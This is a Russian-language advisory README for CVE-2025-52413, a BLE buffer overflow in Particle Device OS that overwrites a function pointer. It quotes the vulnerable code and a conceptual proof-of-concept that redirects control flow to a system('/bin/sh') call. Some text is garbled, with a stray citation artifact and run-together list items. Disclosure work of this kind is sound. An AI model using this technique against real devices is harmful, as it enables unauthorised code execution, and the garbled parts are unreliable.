
repo for CVE-2025-52413
Обнаружили: Golden Ticket Labs
Вендор: Particle
Дата назначения: 12 августа 2025 г. (MITRE)
Переполнение буфера в компоненте ble_control_request_channel.cpp Particle Device OS v5.6.0 позволяет перезаписывать произвольный указатель функции из-за неограниченного вызова memcpy() в 64-байтовый буфер.
В сочетании с соседним вызовом обратного вызова ThreadRunner::eventHandler_ это обеспечивает надежный захват потока управления и даже выполнение имитированной ROP-нагрузки: contentReference[oaicite:0]{index=0}.
Уязвимый участок кода:
// ble_control_request_channel.cpp
memcpy(buf_->data, &h, handshake_header_size); // неограниченное копирование в 64-байтовый буфер
// thread_runner.cpp
if (r->eventHandler_) {
r->eventHandler_(ev); // вызов указателя функции после повреждения соседней памяти
}
handshake_header_size контролируется атакующим.buf_->data — необработанный 64-байтовый буфер, лишенный проверок границ.ThreadRunner хранит встроенный указатель функции eventHandler_ непосредственно рядом с буфером.buf_->data позволяет перезаписать eventHandler_.В зависимости от компоновки сборки ошибка проявляется как переполнение на стеке (CWE-121) или в куче (CWE-122), но корневая причина — небезопасное копирование памяти в фиксированный буфер рядом с указателем функции.
Классификация CWE:
Серьезность (CVSS v3.1)
Это отражает, что произвольное выполнение кода может быть достигнуто с помощью специально сформированной BLE-нагрузки, требующей только близости атакующего и не требующей привилегий или взаимодействия с пользователем.
⚠️ Вредоносный эксплойт-код не включен. Это безопасная иллюстрация.
Концептуальная структура PoC:
struct ExploitTarget {
char buffer[64];
void (*eventHandler)(const char* msg); // цель перезаписи
};
char payload[128];
memset(payload, 'A', 64); // заполнить буфер
memcpy(payload + 64, &address_of_rop_shell, 8); // перезаписать указатель функции
// Перенаправить поток управления на:
void rop_shell(const char* msg) {
system("/bin/sh"); // имитированная ROP-нагрузка
}
Шестнадцатеричный дамп подтвердил, что указатель eventHandler_ был перезаписан и перенаправлен.
handshake_header_size превышает 64-байтовый буфер.eventHandler_ вызывает код, контролируемый атакующим.memcpy_s или эквивалент).Все материалы в этом репозитории предоставлены только для образовательных и защитных целей. Нагрузки эксплойтов не включены. Не пытайтесь использовать эти техники против систем без явного разрешения.
Golden Ticket Labs
📧 [email protected]
🌐 goldenticketlabs.com